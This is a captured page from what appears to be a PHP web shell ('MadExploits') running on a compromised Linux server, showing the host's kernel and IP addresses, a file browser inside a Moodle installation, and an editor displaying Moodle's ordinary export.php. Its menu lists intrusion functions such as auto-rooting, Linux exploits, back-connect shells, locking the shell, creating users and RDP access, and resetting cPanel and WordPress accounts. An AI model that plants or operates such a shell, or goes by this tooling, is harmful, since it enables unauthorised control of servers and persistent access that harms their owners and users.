Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.22
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
admin /
tool /
customlang /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
edit.php
4.46
KB
-rw-r--r--
export.php
2.32
KB
-rw-r--r--
filter_form.php
2.91
KB
-rw-r--r--
import.php
2.29
KB
-rw-r--r--
index.php
5.74
KB
-rw-r--r--
lib.php
906
B
-rw-r--r--
locallib.php
20.04
KB
-rw-r--r--
module.js
1.32
KB
-rw-r--r--
settings.php
1.07
KB
-rw-r--r--
version.php
1.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : export.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Performs the custom lang export. * * @package tool_customlang * @subpackage customlang * @copyright 2020 Thomas Wedekind <thomas.wedekind@univie.ac.at> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require(__DIR__ . '/../../../config.php'); require_once($CFG->dirroot.'/'.$CFG->admin.'/tool/customlang/locallib.php'); require_once($CFG->libdir.'/adminlib.php'); global $PAGE, $CFG; require_login(SITEID, false); require_capability('tool/customlang:export', context_system::instance()); $lng = required_param('lng', PARAM_LANG); admin_externalpage_setup('toolcustomlang', '', null, new moodle_url('/admin/tool/customlang/import.php', ['lng' => $lng])); $form = new \tool_customlang\form\export(null, ['lng' => $lng]); if ($form->is_cancelled()) { redirect('index.php'); die(); } else if ($formdata = $form->get_data()) { $tempzip = tempnam($CFG->tempdir . '/', 'tool_customlang_export'); $filelist = []; foreach ($formdata->files as $file) { $filepath = tool_customlang_utils::get_localpack_location($lng). '/' . $file; if (file_exists($filepath)) { $filelist[$file] = $filepath; } } $zipper = new zip_packer(); if (!empty($filelist) && $zipper->archive_to_pathname($filelist, $tempzip)) { // Filename include the lang name so the file can be imported with automatic language detection. send_temp_file($tempzip, "customlang_$lng.zip"); die(); } } $output = $PAGE->get_renderer('tool_customlang'); echo $output->header(); echo $output->heading(get_string('pluginname', 'tool_customlang')); $form->display(); echo $OUTPUT->footer();
Close